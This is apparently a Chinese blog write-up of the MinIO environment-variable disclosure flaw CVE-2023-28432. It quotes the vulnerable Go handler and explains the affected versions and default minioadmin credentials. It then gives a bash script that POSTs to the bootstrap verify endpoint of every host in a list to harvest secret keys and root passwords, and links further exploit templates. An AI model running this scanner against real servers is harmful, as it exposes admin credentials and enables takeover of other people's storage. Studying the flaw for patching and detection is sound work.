吸取上次复现漏洞的教训……
概述
MinIO 是一种开源对象存储服务,与 Amazon S3 API 兼容,可用于私有云或公共云。MinIO是一种高性能、高可用的分布式存储系统,可以存储大量数据,并提供高速的数据读写能力。MinIO采用分布式架构,可以在多个节点上运行,实现数据的分布式存储和处理。
在集群部署的Minio中,未授权的攻击者可发送恶意的HTTP请求来获取Minio环境变量中的敏感信息(MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD),可能导致攻击者以管理员权限登录Minio。
影响范围
漏洞利用的前提是使用分布式部署
RELEASE.2019-12-17T23-16-33Z <= MinIO < RELEASE.2023-03-20T20-16-18Z
相关漏洞代码
// minio/cmd/bootstrap-peer-server.go
func (b *bootstrapRESTServer) VerifyHandler(w http.ResponseWriter, r *http.Request) {
ctx := newContext(r, w, "VerifyHandler")
cfg := getServerSystemCfg()
logger.LogIf(ctx, json.NewEncoder(w).Encode(&cfg))
}
// minio/cmd/bootstrap-peer-server.go
func getServerSystemCfg() ServerSystemConfig {
envs := env.List("MINIO_")
envValues := make(map[string]string, len(envs))
for _, envK := range envs {
// skip certain environment variables as part
// of the whitelist and could be configured
// differently on each nodes, update skipEnvs()
// map if there are such environment values
if _, ok := skipEnvs[envK]; ok {
continue
}
envValues[envK] = env.Get(envK, "")
}
return ServerSystemConfig{
MinioEndpoints: globalEndpoints,
MinioEnv: envValues,
}
}
VerifyHandler 函数中调用了 getServerSystemCfg() 函数,该函数返回了 ServerSystemConfig 结构体,其中包含了环境变量 MINIO_ 的键值对。由于环境变量是全局可见的,因此会将账号打印出来 。为什么环境变量中会包含账号密码信息呢?因为根据官方的启动说明,在MinIO在启动时会从环境变量中读取用户预设的管理员账号和密码,如果省略则默认账号密码为minioadmin/minioadmin。
POC
批量检测POC,bash脚本,注意赋权
#!/bin/bash
# Author : whgojp
# Enable colors
GREEN='\033[0;32m'
NC='\033[0m'
count=0
while read -r line; do
((count++))
response=$(curl -s -XPOST "$line/minio/bootstrap/v1/verify -k" --connect-timeout 3) #修改一下 这里加了-k 忽略对 SSL 证书验证
if echo "$response" | grep -q "MinioEnv"; then #匹配关键词
printf "${GREEN}[!] ${line}${NC}:is Vulnerable!!!\n"
echo "$line" >> result.txt
else
printf "[+] (${count}/$(wc -l < MinIO.txt)) Scanning: ${line}\n"
fi
done < MinIO.txt
当然还有其他版本批量检测POC
CVE-2023-28432 nuclei templates
https://github.com/MzzdToT/CVE-2023-28432/blob/main/minio.py
检测效果;
手动检测:
Burp手动测试的时候记得改POST发包
使用Goby红队版可以直接检测该漏洞
参考
https://aq.mk/index.php/archives/142.html
https://www.gksec.com/MinIO_RCE.html
https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q